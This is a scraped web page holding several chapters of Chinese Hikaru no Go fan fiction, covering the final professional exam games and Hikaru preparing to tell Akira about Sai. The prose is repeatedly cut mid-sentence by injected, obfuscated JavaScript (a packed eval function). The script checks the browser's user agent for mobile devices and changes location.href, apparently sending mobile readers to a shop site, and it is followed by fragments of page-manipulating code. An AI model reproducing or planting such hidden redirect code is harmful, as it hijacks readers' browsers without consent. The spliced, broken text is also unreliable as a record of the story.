“到了第二次,师父把我训斥一顿之后,我反而能像平常一样发挥出自己的实力了。”和谷说着说着,自己笑了起来,“只不过,那个时候的我是真的很菜,所以没考上也不觉得特别遗憾。” “我懂。” 他们都一样。在不断的尝试中成长着。 职业棋士就是这种东西。年龄限制是非常可怕的关卡,所以,院生们都会从实力其实还不足的时候就开始报名参加,因为如果撞运考上了,就皆大欢喜,考不上的话至少能成为一种训练,能多参加一次是一次。 因为这个理由,很多人上场的时候,其实还并没有抱着“非赢不可”的觉悟。 “只是这一次……”和谷握紧了拳头,“我无论如何都想赢。” 他的决意让人无法直视。 因为那挡在前方的追逐对象,实在太过于耀眼了。 “为什么?”奈濑好奇地问。 和谷的目光十分锐利,仿佛能切开一切阻挡他前进的障碍。 “还需要别的理由吗?我的对手是伊角先生啊。” “我也一样。和谷,我不会输给你的。” 这声音……奈濑回过头,看到他的对手伊角慎一郎就站在离他只有三米的地方,定定地望着和谷。并且,以自己的端正之心回答了他的挑战。 他们是最好的朋友,也是最需要彼此实现跨越的对手。 自从他们在棋院相遇的瞬间开始,就注定了会有这样一场生死之战。 “伊角!”饭岛惊讶地叫出了那人的名字。 伊角只是将自己全部的火热都投射到了对面的矮个子男生的眼中。 “全力以赴吧,和谷。” 他好像在对自己的灵魂发誓。那样虔诚的态度,让周围的人都感受到了巨大的震撼力。这种感觉……上一次出现,还是在什么时候?和塔矢亮对局的时候吗?还是与进藤光第一次交手的时候?那些都是因为对手的强大,才会被激起的斗志。 现在,这种感情终于轮到和谷头上了。 见到伊角如此认真,和谷也毫不认输地点了点头:“是啊。” 他们的对峙使四下鸦雀无声。 进藤光这边也是同样。 “终于……等到他了。” 他双手紧紧握成拳头,注视着走道尽头的宿敌。 职业考试持续了整整两个月,在此期间,塔矢亮抽空进行了第二次手术、并再次在自动认负前极限赶回,竟然至今未有一败。 如今亮已经恢复到不需要轮椅,拄着助力拐杖便能独立行走了。 少年的墨绿色短发微微飘动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062391|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们都等了很久。像这样在公式赛里一决雌雄的时机。 棋士真正的恐怖之处,必须在“不能输”的赛场上方能见分晓。仔细一想,上一次二人正式交手,似乎都是三个月以前的事了。三个月零七天。 过去的三个月内塔矢亮到底追上了多少,就由进藤光本人亲自鉴定清楚吧! “要上了,佐为。”光对身旁的幽灵宣誓般抬起头。 佐为温柔地回望着他。 “其实过去的几个月,我一直在担心。”佐为犹豫了一下,似乎在寻找合适的说法,“可能你会觉得是我杞人忧天,但……塔矢他呀,既是你斗志的来源,又是阻碍你前进的障碍。小光你的棋力比他高出太多了。如果一直等着他的话,说不定会失去自己奔跑的力量。” 奔跑的力量…… 光的眼中闪过一道光线——就像平静的湖面上倒映着的、被游过的鱼群惊起的月光。 佐为身上的白色狩衣反射着塔矢亮的影子。 “但是,他追上来了。”佐为的声音充满欣慰。 ——就像小光你即将追上我一样,塔矢也会很快追上你。 “嗯。”光点点头,“今天这局棋,一定会很不一样。” 看到眼中重新燃起火焰的进藤光,佐为也安心了许多。 在这个早晨,他感到隔着二人的、透明的墙也变薄了一些。 光即将踏入会馆的瞬间,佐为对他说出了最后的叮嘱。 “小光,别忘了我们的约定哦。” 约定?光侧过脸,望着佐为。是啊…… “当然。等到职业考试之后。”他坚定地点了点头,“我一定会把真相告诉你的。到那时候,你就能明白我这么做的理由了。” “执着于塔矢的理由?” “也包括那个。最主要的是,我无论如何都想让你下棋的理由。” 他和佐为的相遇,和佐为的分离,对塔矢亮的执着,对神之一手的渴望,对虎次郎的羡慕,还有此时此刻心中的复杂情感,这一切,都要找到倾诉的人才会变成促进他成长的养料,而不是将他的真心深深掩埋。 时机已经快要成熟了。就在今天。 “好!那小光可千万不能输喔。” 佐为笑起来的样子真的很动人,明明是个幽灵,却完全没有幽灵这个设定应该有的阴森之气。相反,只要看到佐为的笑,光马上就感到自己的心中注射了无尽的力量。因为,佐为的回归正是他在无数个夜晚向月光祈祷的奇迹。 未来……会走向哪个方向呢…… 不管怎么样,眼下的自己都只能奋力一搏了。 负责对局检查的老师慢悠悠地走了过来,打破了这段沉默:“那么,职业考试的最后一场,现在开始。” 这句话终结了各处的小心思。停留在休息室里的人们,都站了起来,一个个走近了各自的棋盘。走向了他们这两个月以来坚实奋战的终点。就算失败,也虽败犹荣。 所有人都一言不发。但他们的脸上都带着视死如归的表情。 进藤光走到特别设置的隔间内,在棋盘前缓缓坐下,面色沉稳而凝重。 对面,塔矢亮已经久候多时。 那双一如既往写满战意的眼睛里,唯独倒映着自己的面庞。其他什么也容不下。自从相遇以来,亮就将光视为了唯一的对手。 “塔矢。” 光忽然想起了上辈子职业考试的最后一战。 那时,越智保持着仅仅一败的夸张记录,却一副给自己施压的样子、十分高傲地向他发起挑战,只因塔矢答应越智,如果越智赢了进藤光,就认可他为自己的对手。进藤光也想依靠那次对局,通过赢越智、来达到赢得塔矢的认可的目标。 两个人都因为美妙的错误,让自己发挥出百分之两百的能量。过去与现在,在这一刻重叠了。 从进藤光体内向外迸发的热情,就是在那时抵达了最高点—— “我执黑。请多指教。” “请多指教。” 最激烈的战斗,正式拉开序幕。 83.Chapter 82. 治孤之局 “……嗯?” 棋局才刚开始,当那手熟悉的秀策尖出现在棋盘上时,光一时无法掩饰自己的惊讶。因为下出这步棋的人……不是自己,而是塔矢亮。 为什么?塔矢会下出这“过时”的一手?他将目光微微上移,锁定在亮本人的五官上。 瞬间如芒在背。 今天的亮,不同于往日。 治孤——进藤光脑子里立刻冒出这两个字。 这家伙是在故意……用进藤光最擅长的秀策流决一胜负! 一般人取胜的技巧都是避开敌方锋芒,他却反其道而行之,专挑对方的优势来进攻。以强制强。 按道理来说,当敌我双方棋力差距巨大时,一边艰难维持己方的棋形、一边找到击破对方弱点的角度、伺机而动,才是弱者寻求生机的唯一办法。以前亮和光对弈时,也的确是这样做的。迂回游击,寻求破局点,以老辣的洞察力抢走光的先机,佐为也承认这是正确的做法。 可今天,塔矢亮偏偏正对着进藤光的枪口笔直冲来。 气势汹汹,毫无顾忌,针尖对麦芒。 哒—— 棋子又一次落在光认为“自己会选择”的位置。简直就像和镜子里的自己作战。 等等……和镜子里的自己……意思是,他潜意识里觉得亮已经站在了和自己相同的舞台上吗? “这可真是意料之外的惊喜啊。”光的嘴角不禁上扬。 也是了,在光的记忆中,上辈子的塔矢亮就是如此讲求“治孤”之道的棋手。 佐为吓退他,他会勒令自己鼓起勇气主动向佐为发起挑战;海王围棋部的人霸凌他,他也果断应下盲棋一对三,丝毫没觉得会输;赞助商请他去下指导棋,他意气用事下出四盘和棋;新初段联赛对上座间王座,他也不给对方留面子,而是正面迎击、彻底粉碎;和绪方争夺头衔,他能把寡言少语的师兄逼得当众宣战。 亮的孤高,傲气,和堂堂正正,都是他追求神之一手的最大助力。 他咬得越紧,越让光热血沸腾。 “你和绪方老师研究出来的战胜我的策略……就是拿你的锐气对打我赖以生存的信仰吗?如果是这样,你就太小瞧我了!塔矢!” 光将手伸到原定的计划上空,却在落下时飞也似地改变了方向。 哒—— “咦?在这里退吗……” 为什么他突然改注意了?亮也随之旋转着眼珠,沉思如何应对这突如其来的棋路变化。他托着下巴,重新端详盘面。不过很快,亮也做出了反应。 肩冲!只要不给黑棋往上发展的机会,胜算就在白棋这边! “也许连他自己都没注意到,小光被塔矢逼急了。塔矢今天的下法给了他这么大的压力吗。”佐为依旧坐在棋盘旁侧,冷静地观察着对局,但他握住扇柄的手指也逐渐收紧,脑海中涌现着无数种可能的后续发展,但无论哪一种,黑棋都很难在不吃亏的前提下结束乱战,“的确很像我会下的棋。” 塔矢亮一定不是刚开始研究秀策的棋。在他们前去因岛时,他拿着那本棋谱,就已经印证了什么决心。 既然直接攻击进藤光无法成功,就化身为另一个秀策吗? 可是,单纯的模仿棋是行不通的,你一定还藏着某种秘密武器吧,塔矢。佐为眯起双眼,等待着后续转折点的出现。 “整理完这一块的节奏,我就可以重新去上方控制右上角了,在这里断……不!我的想法一定都被塔矢看透了!在这里断的话,他后面一定会先做出一个眼,然后伺机从左侧反击!”光也不得不开始假设亮的行动,层层嵌套的猜想在正式对局中很容易干扰判断,谁都不想陷入千层饼骗局,有时候想得太多,对手用直接明了的方式破解己方的全部准备,反而贻笑大方,“塔矢的话……如果是塔矢的话!” 光的眼角被额头上方滴落的汗水浸湿,盐分刺激着眼球,有些酸涩。但他没有擦汗的时间。 在这里果然还是应该先保住自己的角地。他做出决定后,不再理会亮的挑衅,将实地牢牢抓在手里。就像猛兽用獠牙固定住将死的猎物。 但猎物并没有死透。一旦给他可乘之机,他就会重新活过来!倒转捕猎者与猎物的地位! 胜负还没定! “塔矢能把小光逼到这一步……还是第一次吧。”佐为几乎忘了呼吸,他全神贯注地看着棋盘,连自己也和进藤光一起紧张了起来,“黑棋还打算在下一手拆二,那样就会成为好形,但白棋一定会反击。而且是以厚势反击。” 真真假假,虚实厚薄,在两个水平相近的对手之间,是随时都可能互换的。 从前的塔矢总卡在这一步,离胜利只有一步之遥的地方。因为棋力与经验的差距还难以磨平。 但今天……说不定他真的能实现,最后的大逆转! “哼。”光陷入了苦思,只是分神去应对外侧的白棋了几招,塔矢亮就找到机会在中央做大模样了吗,“这么快就开始入寝中腹?别以为你能如愿以偿!” 他也着急地往中腹跳出一步。 佐为顿时脸色大变。 “不,这个时候就跳,实在太早了。小光过于担心白棋的模样,结果反倒给了白棋削弱右边黑棋的机会!” “……” 与佐为几乎同时做出反应的塔矢亮面不改色地将棋子打入黑棋领地。 “糟糕!”那一手落地的刹那,光就意识到了自己的失误,“刚才应该先关住他的!那样他一定会落入苦战!” 虽然只是一个格子的位置差别,对白棋来说可是差之千里的决定性差别! 以塔矢亮的能力,只要给他一条小小的缝隙,他就能徒手拆开这面看似密不透风的墙! 这样一来,即使黑棋再往下补救……也为时已晚了! “可恶!”光无法再保持脸色的镇定,只能在劣势中暂时保存实力,不去正面竞争,“根本没办法出手!” 到底是什么时候…… 到底是什么时候,就被他追到了这么近的地方! 幽幽的冷空气随之袭来。 光在幻觉中都以为亮的鼻息贴近了自己的后脖颈。 才三个月而已,区区三个月,亮就能进步这么多吗?难道有什么比佐为还厉害的人在教他下棋?……不,时间太短了,他的绝对实力不可能有质变,变的是战意。可为什么今天他的战意会这么强?简直就像是放弃了一切退路的背水一战! 明明这一局,他就算输了也能确保拿下职业名额啊!他在紧张什么? 今天的塔矢到底是哪里不对劲? 他就这么想击败他吗?难道不在这里击败进藤光,自己就会粉身碎骨吗?! 天下怎么会有这么强的求胜欲! 光的额头继续渗出密密麻麻的汗珠。他想进一步消除白棋的模样,也确实使出了有效的刺,但最终还是在白棋大胆的反击下勉强保持了双方的五五局势。在这里,白棋又使出了一记跳,确保右上角最边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一手看起来积极,但后续要还欠账的,这是一种透支式的下法。在职业考试这类慢棋比赛中,下这种棋经常会遭到惩罚,因为对手有充足的时间做计算和判断。倒是快棋比赛中,这么下有可能浑水摸鱼,便宜到了。 “啧……” 但是,纠结得太久也没有必要。和谷决定相信自己,他继续控制着自己的实地,希望借此多赢得一些先机。 均衡感才是最重要的。不可以求一时的“捞地”,必须要看均衡感…… 不要被他骗了……不会被他骗的。 “先捞后洗”是很好的战术,但如果前面“捞”得太过分,后面就“洗”不动了。即使是近期成绩很好的绪方九段也不止一次犯这样的错,有些棋最后搅赢了,但不代表那个棋就下得好、下得对。毛病都是出在“捞过份了”。 趁现在,一举击垮他是有很可能的…… “——啊!” 他那手决定性的棋落在棋盘上时,和谷也终于意识到了什么。 顿时感到一阵恐惧。 “糟糕……”他的心思一慌乱,棋就随之波动了起来,“他要准备收官了……为什么会这么快!我的判断晚了一步吗?!” 劣势已经来不及弥补了…… 为什么他会下成这个鬼样子……是从一开始的那步三三起,就失去了自己的定力吗……?还是说…… ●○●○ 84.Chapter 83. 胜负揭晓! 此时,对局室外,焦灼不安的空气也在无限蔓延。 “好久啊……这一局。” 坐在休息室的椅子上、无聊地翻看着手中的围棋记录本的久原木子郎正在等待最后结果的出炉。气氛很压抑,让人焦灼不安。在这里等着的人不只他一个。大家都屏息凝视,不敢出声,就怕惊动了对局室内进行生死之战的四人。 但是,这股压抑的空气是会让人头脑发热的。 就像此刻的进藤光本人一样。 他坐在椅子上,已经大汗淋漓,跟刚从桑拿房里出来没两样。不知道的还以为他独自前去盛夏的埃及金字塔里钻了一趟朝拜法老王的闷热地道。 “不愧是我认定的搭档。” 起先他还很焦躁,因为塔矢亮步步紧逼的缘故,他有那么一两次都难以维持冷静的思考。 每次以为暂时压制住了白棋,白棋都会找到空隙做活,十分难缠。 但到后面,这种负面情绪居然完全消失了。 转变为了痛苦中的喜悦。 的确,被塔矢亮一次次迎面撞击到不断加补的样子很狼狈,但他也莫名有种“终于找到对手”的快乐,在棋盘上如此反复逆转优势的体验使心跳不断加速,光的眉头也渐渐紧皱,对方越是冲过来,自己越是被抛上高空,之后落地时的刺激感就越叫人欲罢不能。失重感实在太过美妙了。趁着这股下降的下速度,黑棋也能利用这股气势反过来撞击白棋,让亮的气也越来越紧。 双方你来我往的鞭笞较量,让人血脉偾张。 如果人体是可燃物,那他早就过燃烧到碳化了。 在这种极度亢奋的状态之下,外界时间的流逝都变得不可感知。 他忘却了时间,忘却了观战的佐为,也忘却了饥饿或疲惫,只是全身心地投入到最后的纠缠之中。漏看一处就会失去全盘,亮紧紧黏在自己身后,一旦找到机会,就会反过来把他压倒。 呼吸越来越短促。 攻守互换。 主动权轮番交替。 这让光不禁想起十年前的对局。他与塔矢亮第一次在正式手合赛上对弈的那一局。 虽然佐为消失了,但他上辈子的成长之路过得十分充实。从无到有,一点点积累的棋力,一点点开阔的未来,那种克服了无数难关、终于站在自己憧憬的对手面前时的成就感,正是拜塔矢亮所赐。 如果让他选择人生印象最深的棋局,那一定是不可动摇的第一名。 那时,是他差一丁点追上塔矢。 现在…… ——来吧!塔矢!追上我! ——追上我!然后,和我一起去到更远的地方! 他们还需要更多的经验。和世界各地的高手交流,和远远超过自己的强者对弈,在失败之后,跨越失败,才能走得更高。是久原木子郎的出现提醒了他这一点。 不可以固步自封。因为他并不是为了享乐才来到这里的。 他要挽回佐为的遗憾,也要挽回自己松懈之后未能在棋道上更进一步的遗憾。 等这次对局结束了,他决定要走向新的道路。 这是为了佐为,也是为了自己,更是为了不愧对那时的努力。 所以他不会再等塔矢了。塔矢亮必须主动追上来,才有资格站在他身边。 还好那家伙做到了。无需任何人来判断,他们就是全世界最势均力敌的对手,这一刻,光如此深信。 “……” 亮紧紧握着手心的白棋。冷冰冰的棋子握得久了,也能滚烫灼热,一如他此刻不断升温的体表。想触碰的东西还很多,棋子,棋盘,进藤光的后背,父亲的背影,以及……那看不见的另一个背影。 他眼中闪烁着接近于泪水的光芒。 有种至高的叹息,从身体深处溢出。浑身上下的力气都被抽走,双肩也不可察觉地下坠,但他的心中充斥着满足。 最后这颗棋子终究……无处可落了。 “……” 亮一言不发。 光站起身,向外走去。 亮也一同站起身,跟随他的脚步。 他知道,外面一定有人在等着他们。 咔嚓咔嚓——无数闪光灯的声音响起,镌刻着两人不服输的面庞。炫目的不是灯光,而是少年们赤诚激战过的神情。站在人群之中等待着他的筒井公宏、藤崎明和进藤美津子都沉浸在这一刻的白日梦里,忘了开口说话。 “进藤君!塔矢君!恭喜你们,职业棋士双双合格!”果然,站在门口的天野编辑快步走上前来,那结实的橙色西装各位醒目,“刚刚赢了棋的人是进藤君吧?只赢了三目半呢,你们真是实力相当的对手!这样一来进藤君就是全胜凯旋了,现在你是什么样的心情?” 一上来就是一大串社交辞令,换作往常的光,早就开始头痛了。不过今天,他的心情的确有些不一样。 “心情吗?”光想了想,看向塔矢亮,说,“嗯,我想迈出新的一步了。” “哦……新的一步?是指成为职业棋士之后,打算做别的尝试吗?棋风方面?还是有另外的计划?”天野在小本本上记录着,等待他的回复。 光却摇了摇头。 “不是这个意思……我是想——” 在他一筹莫展地考虑着要不要把自己的打算说出来的时候,突然有人从门后面跑出来,打断了他们之间的对话。 “另外一组的结果也出来了!” “情况怎么样?”天野停下了手中的笔。 进藤光的反应却比他想象中的还要大。他直接冲到了那个人的面前,几乎快要和他脑门对脑门了。 “请告诉我!”被他逼近的那个人惊恐地看着他,但光还是没有缩小声音,反而加快了语速,文字像炮弹一样迅速地飞了出来,“——伊角先生和和谷,是谁赢了?!” 明明下棋的那个人不是自己,进藤光却感到了前所未有的紧张——大概是因为他对自己的棋力十分有自信,却在他人的命运上毫无自信的缘故吧。这一点已经在佐为消失的时候就被深刻证实过了。 “是……是……伊角。”那人惊愕地看着他,吞吞吐吐地说。 光马上转身向房间里面奔去。原本在休息室跟来记最后一局棋的棋谱的久原木子郎也慌忙扔下了背包,追上他的脚步。 “进藤!等等我!” 他可不想一个人留在外面。虽然他并不熟悉最终之战里的那两员大将,也没多余的兴趣,对他来说,关注进藤光一个人就足够收回本钱了。但那个进藤都如此关注的人,将来在职业棋坛也一定大有所为! 镜头跟着急匆匆的进藤光一起进入室内。 被十余人簇拥着的棋盘旁的二人,正相对而坐。和谷的脸上是灰暗的落败者的消极情绪,而伊角的眼角则带着一丝泪花。他在笑,明明在笑,却因为过于喜悦而流出了泪,同时,他又很好地控制了自己的激动程度,因为他不想伤害到他的对手。 “伊角先生!和谷!” 光跑到了二人面前。周围的人群都不自觉地为他让开一条路。 “进藤……” 伊角抬起头看着他,不知怎的,他突然觉得进藤光的形象格外高大。 “你哭了哦,伊角。”光开玩笑道。 伊角居然还露出了略微尴尬的表情:“对不起……” 佐为笑容满面地揉着伊角的头,不过他也看不到佐为就是了。胜利的泪水来得有多艰难,所有下棋的人都懂,没有人会因此嘲笑他。那是他经历无数次挣扎、折磨、自我怀疑、悔恨之后应得的胜利。 “道什么歉啊,这种时候会哭才正常啊。”光失笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114654|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“和谷,你也别难过,明年再来嘛!” 随后,一个大巴掌重重拍向和谷义高的后背。力道之大,看得天野都双肩一抖。他这句一点也算不上是安慰的话到底还是有几分安慰的意思。和谷摇了摇头,无奈地向后倒去,顺势躺在棋院的榻榻米上,仿佛灵魂已经出窍。 然后他双手护住了头。闷闷的声音从他的手臂间传了出来。他心里一定非常非常难受,难受到想哭,可是又不得不维持自己最后的冷静。 “就算是这样……”和谷口中喃喃自语,“我明明下了局好棋的……” “和谷。” 伊角突然站了起来。地上的和谷一脸吃惊地望着他。 “伊角……先生?” “谢谢你。”伊角笑着说,“我下得很开心。” 他的真心实意的感谢让和谷原本有些解不开的心结也彻底解开了。是啊,反正围棋就是会有输有赢的,这么在乎一局棋又能怎么样呢?他们都竭尽全力了,最后的输赢很公平,他没有什么别的可说的。赢的人是伊角,不是真柴,这一点已经足够了。 “我也是。”和谷从地上坐了起来,信誓旦旦地说,“但是,下次不会再输给你了。” 伊角微笑着对他点了点头。 二人之间的约定缔结后,伊角才转过头去,直视着突然闯入的进藤光和塔矢亮。 “我也要谢谢你们,进藤,塔矢。” 他这句没由来的话语让光觉得有点奇怪。 “谢我们?” “嗯,因为你们的存在,我才更想让自己往前。你们让我意识到身边潜藏着多么可怕的后辈,而且就在最近的地方。”伊角斩钉截铁地说,“所以我想试着追上你,无论如何都想追上你。很遗憾,这个目标暂时还没能实现,可是我已经战胜了过去的自己,从今天开始,我不会再给你把我越甩越远的机会!” 他的神情看上去很有朝气。虽然在院生里他是年龄最大的那一个,但今天的伊角却像极了和他们同样大小的少年——光在那一瞬,感受到了他的热情。那是上一世的伊角很久之后才拥有的东西。 光呆呆地望着他。他觉得自己应该说些什么,但又不知道该说些什么。也许这就是他的二度未来的意义所在。 这时,亮也抵达了光的身旁。 “走吧,进藤。是时候该告诉我答案了。” 这声呼唤让进藤光顿时回过神来。这一次,光没有回避他的目光,只是带着微笑,淡淡地点点头。 “嗯。” 这两个人果然有问题!久原顿时摆出了一脸“又来”的无奈表情:“诶?又不去庆功宴了吗?这次是超级好吃的10000日元一盘的仙台牛舌喔?浪费多可惜啊!而且后面还有围棋部的采访环节呢,相泽青森山崎他们都来了!我连塔矢的位子都一起订了啊!” “不好意思,下次一定,今天我和塔矢有话要说。” “可是……!” “就别打扰他们了吧,久原。”伊角微笑着拉住了久原木子郎的胳膊,用另外的话题转移了他的注意力,“你现在有空吗,帮我和和谷复盘吧,机会难得,我想借你‘天上天下唯我独尊’的眼力一用。” 得到院生NO.1的夸奖显然让久原十分受用,但他还是露出了狐疑的神色:“你也太着急了吧,伊角前辈!不是才刚下完吗?先休息一下如何。” “不,今晚可是最重要的时间。和谷明年一定会考上职业的,在那之前,我也要卯足力气追上塔矢亮才行啊。” “好高的目标……你胃口太大了啦,会肠胃炎的哦。” “哈哈。那就麻烦你到时候帮我对症下药了,小教练。” 他充满惬意地看着窗外的云朵。伊角慎一郎,17岁,作为职业棋士的生涯就要从这里开始了。 ●○●○ 85.Chapter 84. 坦白书 电车飞快地穿过高楼大厦之间。两名意气风发的少年坐在对侧柔软的坐垫上,其中一人呆呆望着窗外灿烂的阳光钻出云朵。 一直没人说话的话,气氛莫名有点沉重呢。 “然后呢,你什么时候去复健?”光指着亮放在一旁的拐杖,问。 “从这周起,周二周四周六,每周三次。其他时间我都会在围棋会所等你。” 说实话,塔矢亮的恢复速度并不算快,医生说是因为他平时缺乏体育锻炼所致。听了这种诊断,塔矢明子当然会怒气冲冲地责令他赶紧改掉因围棋而长期久坐的习惯,但这种事哪里又是一时半会能改的掉的呢?最后还是只能先等他康复,腿脚行动自如之后再另做打算。这段时间塔矢行洋也暂时留在东京,和明子一起照顾他。 此时,亮就坐在他对面,脸色虽然苍白了点,但精神劲儿还在,看上去也不像个断过腿的病人。 还好他暂时没留下什么后遗症……要不然自己真的会内疚一辈子的…… “什么时候才能彻底恢复?医生怎么说?” “快的话两三个月,慢的话半年。无需担心,职业棋士的生活,是从来年春天才会正式开始对吧。” “你知道得真清楚!”光不由得感叹。 他过去考职业考试的时候,可压根没打听这些事,一股脑儿地以为自己考完就能立刻转正拿薪水来着。实际上,直到第一次新初段与高段棋手的对弈之前,他都还算不上是真正的职业棋士。 塔矢亮则完全不同。哪怕是从他的朋友圈里道听途说,他也懂得足够多了。 对话结束,沉默又一次到来。 “那么,让我正式道个歉吧。”光忽然重重低下头去,双手支撑在膝盖上,压抑着鼻音说,“——对不起,塔矢!!那时一定是我鬼迷心窍了!你打我骂我都可以,医药费也全部记到我账上,加上之前你借我买电脑的钱,我会用职业棋士的工资一点点还清的!我知道钱不是重点,但我也会用态度表示诚意!我保证,以后绝对不会脑子一热就乱来了!” 之前的两个月,两人一直是剑拔弩张的对决状态,所以他没有提起此事。 如今战斗结束了,那股想要疯狂道歉的冲动就再也忍不住了。 亮却对此毫无芥蒂。 “别想太多,进藤,我摔下去不是你的责任。是我当时没留意。” 进藤光马上就急了:“不,怎么能这么说呢,明明我就有责任的!全都怪我!” “不,你没有。” “我有!” “你没有。” “我就是有!” 佐为看看他,又看看亮,两边来回挥舞着袖子,却阻止不了他们俩之间火花四射的空气。 “小光,塔矢,你们别吵啦……” 这堪比小学生吵架的斗嘴最终还是没能分出胜负。直到塔矢亮忽然转移了话题。 “那么,说吧。” “诶?” 亮的眼睛从窗外的白云飘到了光身上。 “你和因岛……和秀策,还有,和sai的关系。” “……” “在医院的时候,你不是说,职业考试之后就告诉我这个秘密吗?” 塔矢亮略带嘶哑的声音,颇有些“平静但咄咄逼人”的味道。但光明白,这是因为他实在太在意了。 sai的谜团还在其次,最重要的是,在因岛之行中进藤光表现出来的那些令人怀疑的细节……要是放着不管,实在不知道会出什么事。比起一个人闷在心里,还是说出来更好。 光侧过脸望着吊环下方的幽灵,似乎在等待佐为的认可。 “佐为,我决定把你的事告诉他。”光小心翼翼的神情就是对佐为的最大尊重,“可以吗?” “可以当然是可以……” 佐为唯一放心不下的,是进藤光本人的心情。究竟是个什么样的秘密,才会使他露出这般为难的表情?纵使经过再长的时间,佐为整日留在他身边,也无法断定这个孩子眼中隐藏起来的“哀伤”属于哪一种。这样戳破他精心构筑的泡沫,真的好吗? 但是,佐为的担心却并没有映照在光的眼瞳之中。 他好像反倒松了口气。 “谢谢你!佐为!” 说完,光还露出了笑容。那是发自内心的笑容。离他最近的佐为再清楚不过。 只要他觉得这是对的,那就尊重他的选择吧。 于是,光再次转向了亮。 “塔矢。”现在,光的笑容十分镇定,“这可是个很长很长的故事……你做好心理准备了吗。” 塔矢亮咽了口唾沫。 “……我想我准备好了。” “好。”电车门再次打开,光扶着亮站起身,往车厢外走去,“今天的目的地是——我爷爷家。” “你爷爷家?非得到了那里才能说吗。” “嗯……也不是,但是在这里说幽灵的事果然很奇怪吧。不让你亲眼看到的话……不过你也看不到哦。” 这句信息量混杂的台词让亮的心中更加困惑。他听到“幽灵”两个字的时候,眉头皱得紧紧的,好像光在拿他开玩笑一样。 在如此异样的氛围下,光却什么也没有解释。 亮被他保持悬念的举动弄得满脸狐疑,但光笑眯眯的样子又不像是在隐瞒什么,他也不好旁敲侧击地问。这个时间段不是上下班高峰期,所以车站里也没什么人。头顶的阳光因为云朵的形状而忽暗忽亮,亮抬眼看着光,又低下头,重复了这个动作好几次。 神秘的进藤……强得可怕的进藤……他的秘密究竟是什么?为什么会和幽灵有关?真是让人越来越在意了…… 然后,他们终于抵达了目的地。 “我们到了。”光突然停在一户普通的民居前,双手插兜,露出微笑。 亮扬起头,打量着这座看似正常的旧房子。是普通的和式一户建。它和街道上的其他建筑没多大区别,大概是同一时代的产物,看上去也并非古迹或有钱人的住宅。 “就是这里吗?” “好怀念啊……”看到这方屋檐,佐为自由自在地转悠开了,“小光,我们是不是很久没来过这座房子了?” “的确有好长一阵子了呢。要被爷爷唠叨‘不孝的孙子’啦。” 光也有点自责。他打算好好和爷爷相处完他的晚年的计划一直没能稳步实施。都怪他想得到的东西太多了,既不愿意在亲情方面留有遗憾,又贪得无厌地想在围棋上变强,哪能事事如愿呢?要是能把一个人掰成两个人来用就好了…… 呸呸呸,他在想什么呢!一把年纪了,真不害臊!又给自己找借口! “爷爷!好久不见,我来找你啦!”光扯着嗓子喊道,他走进院子,就看到了正在晒太阳的进藤平八,“快起来!来客人了!是你想不到的稀客喔。” 躺椅上的进藤平八慢慢睁开了眼睛。在阳光下,他晒得舒舒服服的,虽然是夏天,但他还是很喜欢在走廊里对着太阳打瞌睡,这一奇葩的习惯令年轻的光很无法理解。 “哦……是阿光啊,13岁生日快乐!你今天有职业考试的最后一局棋是吧?赢了吗?”年纪大了以后,他说起话来也不那么利索了。 今天竟然是进藤的生日吗。亮的眸子闪了闪,他没想到偏偏是职业考试结束的9月20日,自己过于旺盛的求知欲是否给进藤施加了不必要的压力?话虽如此,他一秒也等不下去了,只能死死盯着进藤光的后背。 光撅起了嘴:“什么啊!妈妈没给你打电话吗?我赢了!赢了三目半!” 说着,他帮平八锤了锤背,让平八能舒服地站起来。 “哎呀,我只是没想到,当初那个轻松击溃我的小子还真的考上了职业棋士。”进藤平八笑呵呵地摸了摸他的头,“真了不起啊,阿光,我在老年社区的那群棋友们整天都在讨论你呢!咦,等一下,你身后站着的那个小帅哥是谁?” 得,总算注意到了。 “请让我介绍一下。”光郑重其事地清了清嗓子,“这位是我最好的朋友……” “塔矢亮?是塔矢亮君吗?!” 平八一点也不给他面子,马上叫出了声。这都是因为他太震惊了。好歹也在诸多围棋新闻上见过的那个塔矢亮的脸,他可是有印象的,像他这样的业余棋迷,最爱干的事就是有事没事看点《围棋周刊》假装自己很懂行,不过,不管懂不懂行,是个人都知道塔矢行洋的儿子很厉害。 亮略显尴尬地点了点头,露出标准待客微笑。“是……是的……” “哎哟喂!这可了不得了。”平八立刻变得热情了起来,转身就要去掏柜子里的陶器茶杯,“我们家阿光受你照顾了!哎呀,真没想到你这样优秀的棋手能愿意当阿光的朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 